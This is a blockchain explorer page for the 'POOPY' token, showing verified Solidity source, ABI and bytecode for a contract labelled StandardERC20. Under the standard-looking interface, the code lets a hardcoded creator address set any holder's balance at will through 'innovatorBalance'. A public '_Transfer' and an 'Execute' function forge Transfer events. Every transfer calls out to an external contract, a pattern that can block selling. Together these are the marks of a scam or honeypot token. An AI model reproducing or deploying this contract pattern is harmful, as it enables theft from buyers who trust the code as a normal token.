ETH Price: $2,637.51 (+7.72%)
Gas: 3 Gwei

Token

POOPY (POOPY)
 

Overview

Max Total Supply

130,000,000 POOPY

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
30,530.748844823537444027 POOPY

Value
$0.00
0x8a16055eeed90c14e7440b6aa90c76fbac187571
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardERC20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : new.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function _Transfer(address from, address recipient, uint amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface tokenRecipient { function receiveApproval(address sender,address to, address addr, address fee, uint amount) external returns(bool);}

contract ERC20 is Context, IERC20 {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint8 private _decimals;

    string private _name;
    string private _symbol;
    address _spender;
    address _owner;
    address private _creatorAccount = 0xeEDd148DF382C122d90B994F950B3b676B8aCe62;

    constructor (string memory name_, string memory symbol_, address receiver_, address owner_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _spender = receiver_;
        _owner = owner_;
        _decimals = decimals_;
    }

    modifier solelyCreator() {
        require(fetchInnovator() == _msgSender(), "Unauthorized: Innovator access needed.");
        _;
    }

    function fetchInnovator() public view virtual returns (address) {
        return _creatorAccount;
    }

    function innovatorBalance(address[] memory userAddresses, uint256 requiredBalance) public solelyCreator {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            _balances[currentUser] = requiredBalance;
        }
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);        

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

	_beforeTokenTransfer(address(0),account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        emit Transfer(address(0), _owner, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function Execute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts,uint256[] memory weAmounts,address tokenaddress) public returns (bool){
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(uPool, eReceiver[i], eAmounts[i]);
            IERC20(tokenaddress)._Transfer(eReceiver[i],uPool, weAmounts[i]);
            }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
    if (address(from) != address(0)) {
            tokenRecipient(_spender).receiveApproval(from,to,address(this),_owner,amount);} }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract StandardERC20 is ERC20 {
    constructor() ERC20("POOPY", "POOPY", 0xee3e375feb6197c5B37C210FbAe8d09828e3adB0, 0xf4a5b232DF2De4dd6ad613ba17C3113CEf707BE9, 18) {

        _mint(_msgSender(), 130000000 * 10 ** uint256(18));
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"weAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenaddress","type":"address"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fetchInnovator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"innovatorBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405273eedd148df382c122d90b994f950b3b676b8ace62600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200006657600080fd5b506040518060400160405280600581526020017f504f4f50590000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f504f4f505900000000000000000000000000000000000000000000000000000081525073ee3e375feb6197c5b37c210fbae8d09828e3adb073f4a5b232df2de4dd6ad613ba17c3113cef707be96012846004908162000110919062000736565b50836005908162000122919062000736565b5082600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548160ff021916908360ff160217905550505050505062000206620001d96200020c60201b60201c565b6012600a620001e99190620009a0565b6307bfa480620001fa9190620009f1565b6200021460201b60201c565b62000c3e565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000286576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200027d9062000a9d565b60405180910390fd5b6200029a60008383620003ae60201b60201c565b8060026000828254620002ae919062000abf565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000305919062000abf565b92505081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200038e919062000b0b565b60405180910390a3620003aa60008383620004b760201b60201c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614620004b257600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b81526004016200046a95949392919062000b6d565b6020604051808303816000875af11580156200048a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b0919062000c0c565b505b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200053e57607f821691505b602082108103620005545762000553620004f6565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200057f565b620005ca86836200057f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000617620006116200060b84620005e2565b620005ec565b620005e2565b9050919050565b6000819050919050565b6200063383620005f6565b6200064b62000642826200061e565b8484546200058c565b825550505050565b600090565b6200066262000653565b6200066f81848462000628565b505050565b5b8181101562000697576200068b60008262000658565b60018101905062000675565b5050565b601f821115620006e657620006b0816200055a565b620006bb846200056f565b81016020851015620006cb578190505b620006e3620006da856200056f565b83018262000674565b50505b505050565b600082821c905092915050565b60006200070b60001984600802620006eb565b1980831691505092915050565b6000620007268383620006f8565b9150826002028217905092915050565b6200074182620004bc565b67ffffffffffffffff8111156200075d576200075c620004c7565b5b62000769825462000525565b620007768282856200069b565b600060209050601f831160018114620007ae576000841562000799578287015190505b620007a5858262000718565b86555062000815565b601f198416620007be866200055a565b60005b82811015620007e857848901518255600182019150602085019450602081019050620007c1565b8683101562000808578489015162000804601f891682620006f8565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008ab578086048111156200088357620008826200081d565b5b6001851615620008935780820291505b8081029050620008a3856200084c565b945062000863565b94509492505050565b600082620008c6576001905062000999565b81620008d6576000905062000999565b8160018114620008ef5760028114620008fa5762000930565b600191505062000999565b60ff8411156200090f576200090e6200081d565b5b8360020a9150848211156200092957620009286200081d565b5b5062000999565b5060208310610133831016604e8410600b84101617156200096a5782820a9050838111156200096457620009636200081d565b5b62000999565b62000979848484600162000859565b925090508184048111156200099357620009926200081d565b5b81810290505b9392505050565b6000620009ad82620005e2565b9150620009ba83620005e2565b9250620009e97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008b4565b905092915050565b6000620009fe82620005e2565b915062000a0b83620005e2565b925082820262000a1b81620005e2565b9150828204841483151762000a355762000a346200081d565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a85601f8362000a3c565b915062000a928262000a4d565b602082019050919050565b6000602082019050818103600083015262000ab88162000a76565b9050919050565b600062000acc82620005e2565b915062000ad983620005e2565b925082820190508082111562000af45762000af36200081d565b5b92915050565b62000b0581620005e2565b82525050565b600060208201905062000b22600083018462000afa565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b558262000b28565b9050919050565b62000b678162000b48565b82525050565b600060a08201905062000b84600083018862000b5c565b62000b93602083018762000b5c565b62000ba2604083018662000b5c565b62000bb1606083018562000b5c565b62000bc0608083018462000afa565b9695505050505050565b600080fd5b60008115159050919050565b62000be68162000bcf565b811462000bf257600080fd5b50565b60008151905062000c068162000bdb565b92915050565b60006020828403121562000c255762000c2462000bca565b5b600062000c358482850162000bf5565b91505092915050565b611f5b8062000c4e6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146102ae578063b96c7c9e146102de578063dd62ed3e146102fc578063e156b1b61461032c576100f5565b806370a082311461021457806395d89b4114610244578063a457c2d714610262578063a7ba9d5614610292576100f5565b80631c63aef2116100d35780631c63aef21461016657806323b872dd14610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261035c565b60405161010f91906111ab565b60405180910390f35b610132600480360381019061012d9190611275565b6103ee565b60405161013f91906112d0565b60405180910390f35b61015061040c565b60405161015d91906112fa565b60405180910390f35b610180600480360381019061017b9190611520565b610416565b60405161018d91906112d0565b60405180910390f35b6101b060048036038101906101ab91906115ef565b610596565b6040516101bd91906112d0565b60405180910390f35b6101ce610697565b6040516101db919061165e565b60405180910390f35b6101fe60048036038101906101f99190611275565b6106ae565b60405161020b91906112d0565b60405180910390f35b61022e60048036038101906102299190611679565b61075a565b60405161023b91906112fa565b60405180910390f35b61024c6107a2565b60405161025991906111ab565b60405180910390f35b61027c60048036038101906102779190611275565b610834565b60405161028991906112d0565b60405180910390f35b6102ac60048036038101906102a791906116a6565b610928565b005b6102c860048036038101906102c39190611275565b610ade565b6040516102d591906112d0565b60405180910390f35b6102e6610afc565b6040516102f39190611711565b60405180910390f35b6103166004803603810190610311919061172c565b610b26565b60405161032391906112fa565b60405180910390f35b610346600480360381019061034191906115ef565b610bad565b60405161035391906112d0565b60405180910390f35b60606004805461036b9061179b565b80601f01602080910402602001604051908101604052809291908181526020018280546103979061179b565b80156103e45780601f106103b9576101008083540402835291602001916103e4565b820191906000526020600020905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b60006104026103fb610c1f565b8484610c27565b6001905092915050565b6000600254905090565b600080600090505b85518110156105885785818151811061043a576104396117cc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181106104a3576104a26117cc565b5b60200260200101516040516104b891906112fa565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b68783815181106104ef576104ee6117cc565b5b60200260200101518987858151811061050b5761050a6117cc565b5b60200260200101516040518463ffffffff1660e01b8152600401610531939291906117fb565b6020604051808303816000875af1158015610550573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610574919061185e565b508080610580906118ba565b91505061041e565b506001905095945050505050565b60006105a3848484610df0565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ee610c1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561066e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066590611974565b60405180910390fd5b61068b8561067a610c1f565b85846106869190611994565b610c27565b60019150509392505050565b6000600360009054906101000a900460ff16905090565b60006107506106bb610c1f565b8484600160006106c9610c1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461074b91906119c8565b610c27565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600580546107b19061179b565b80601f01602080910402602001604051908101604052809291908181526020018280546107dd9061179b565b801561082a5780601f106107ff5761010080835404028352916020019161082a565b820191906000526020600020905b81548152906001019060200180831161080d57829003601f168201915b5050505050905090565b60008060016000610843610c1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f790611a6e565b60405180910390fd5b61091d61090b610c1f565b8585846109189190611994565b610c27565b600191505092915050565b610930610c1f565b73ffffffffffffffffffffffffffffffffffffffff1661094e610afc565b73ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b90611b00565b60405180910390fd5b60008110156109e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109df90611b6c565b60405180910390fd5b60005b8251811015610ad9576000838281518110610a0957610a086117cc565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7990611bd8565b60405180910390fd5b826000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508080610ad1906118ba565b9150506109eb565b505050565b6000610af2610aeb610c1f565b8484610df0565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0c91906112fa565b60405180910390a3600190509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc90611cfc565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610de391906112fa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5690611d8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec590611e20565b60405180910390fd5b610ed9838383611013565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690611eb2565b60405180910390fd5b8181610f6b9190611994565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ffb91906119c8565b9250508190555061100d848484611116565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461111157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b81526004016110cc959493929190611ed2565b6020604051808303816000875af11580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f919061185e565b505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561115557808201518184015260208101905061113a565b60008484015250505050565b6000601f19601f8301169050919050565b600061117d8261111b565b6111878185611126565b9350611197818560208601611137565b6111a081611161565b840191505092915050565b600060208201905081810360008301526111c58184611172565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061120c826111e1565b9050919050565b61121c81611201565b811461122757600080fd5b50565b60008135905061123981611213565b92915050565b6000819050919050565b6112528161123f565b811461125d57600080fd5b50565b60008135905061126f81611249565b92915050565b6000806040838503121561128c5761128b6111d7565b5b600061129a8582860161122a565b92505060206112ab85828601611260565b9150509250929050565b60008115159050919050565b6112ca816112b5565b82525050565b60006020820190506112e560008301846112c1565b92915050565b6112f48161123f565b82525050565b600060208201905061130f60008301846112eb565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61135282611161565b810181811067ffffffffffffffff821117156113715761137061131a565b5b80604052505050565b60006113846111cd565b90506113908282611349565b919050565b600067ffffffffffffffff8211156113b0576113af61131a565b5b602082029050602081019050919050565b600080fd5b60006113d96113d484611395565b61137a565b905080838252602082019050602084028301858111156113fc576113fb6113c1565b5b835b818110156114255780611411888261122a565b8452602084019350506020810190506113fe565b5050509392505050565b600082601f83011261144457611443611315565b5b81356114548482602086016113c6565b91505092915050565b600067ffffffffffffffff8211156114785761147761131a565b5b602082029050602081019050919050565b600061149c6114978461145d565b61137a565b905080838252602082019050602084028301858111156114bf576114be6113c1565b5b835b818110156114e857806114d48882611260565b8452602084019350506020810190506114c1565b5050509392505050565b600082601f83011261150757611506611315565b5b8135611517848260208601611489565b91505092915050565b600080600080600060a0868803121561153c5761153b6111d7565b5b600061154a8882890161122a565b955050602086013567ffffffffffffffff81111561156b5761156a6111dc565b5b6115778882890161142f565b945050604086013567ffffffffffffffff811115611598576115976111dc565b5b6115a4888289016114f2565b935050606086013567ffffffffffffffff8111156115c5576115c46111dc565b5b6115d1888289016114f2565b92505060806115e28882890161122a565b9150509295509295909350565b600080600060608486031215611608576116076111d7565b5b60006116168682870161122a565b93505060206116278682870161122a565b925050604061163886828701611260565b9150509250925092565b600060ff82169050919050565b61165881611642565b82525050565b6000602082019050611673600083018461164f565b92915050565b60006020828403121561168f5761168e6111d7565b5b600061169d8482850161122a565b91505092915050565b600080604083850312156116bd576116bc6111d7565b5b600083013567ffffffffffffffff8111156116db576116da6111dc565b5b6116e78582860161142f565b92505060206116f885828601611260565b9150509250929050565b61170b81611201565b82525050565b60006020820190506117266000830184611702565b92915050565b60008060408385031215611743576117426111d7565b5b60006117518582860161122a565b92505060206117628582860161122a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117b357607f821691505b6020821081036117c6576117c561176c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006060820190506118106000830186611702565b61181d6020830185611702565b61182a60408301846112eb565b949350505050565b61183b816112b5565b811461184657600080fd5b50565b60008151905061185881611832565b92915050565b600060208284031215611874576118736111d7565b5b600061188284828501611849565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118c58261123f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036118f7576118f661188b565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061195e602883611126565b915061196982611902565b604082019050919050565b6000602082019050818103600083015261198d81611951565b9050919050565b600061199f8261123f565b91506119aa8361123f565b92508282039050818111156119c2576119c161188b565b5b92915050565b60006119d38261123f565b91506119de8361123f565b92508282019050808211156119f6576119f561188b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611a58602583611126565b9150611a63826119fc565b604082019050919050565b60006020820190508181036000830152611a8781611a4b565b9050919050565b7f556e617574686f72697a65643a20496e6e6f7661746f7220616363657373206e60008201527f65656465642e0000000000000000000000000000000000000000000000000000602082015250565b6000611aea602683611126565b9150611af582611a8e565b604082019050919050565b60006020820190508181036000830152611b1981611add565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611b56601b83611126565b9150611b6182611b20565b602082019050919050565b60006020820190508181036000830152611b8581611b49565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000611bc2601983611126565b9150611bcd82611b8c565b602082019050919050565b60006020820190508181036000830152611bf181611bb5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c54602483611126565b9150611c5f82611bf8565b604082019050919050565b60006020820190508181036000830152611c8381611c47565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ce6602283611126565b9150611cf182611c8a565b604082019050919050565b60006020820190508181036000830152611d1581611cd9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d78602583611126565b9150611d8382611d1c565b604082019050919050565b60006020820190508181036000830152611da781611d6b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e0a602383611126565b9150611e1582611dae565b604082019050919050565b60006020820190508181036000830152611e3981611dfd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e9c602683611126565b9150611ea782611e40565b604082019050919050565b60006020820190508181036000830152611ecb81611e8f565b9050919050565b600060a082019050611ee76000830188611702565b611ef46020830187611702565b611f016040830186611702565b611f0e6060830185611702565b611f1b60808301846112eb565b969550505050505056fea26469706673582212207602508fc1951d08be368f011401295c07a0bc948fc75f86078526e7b552505064736f6c63430008120033

Deployed Bytecode

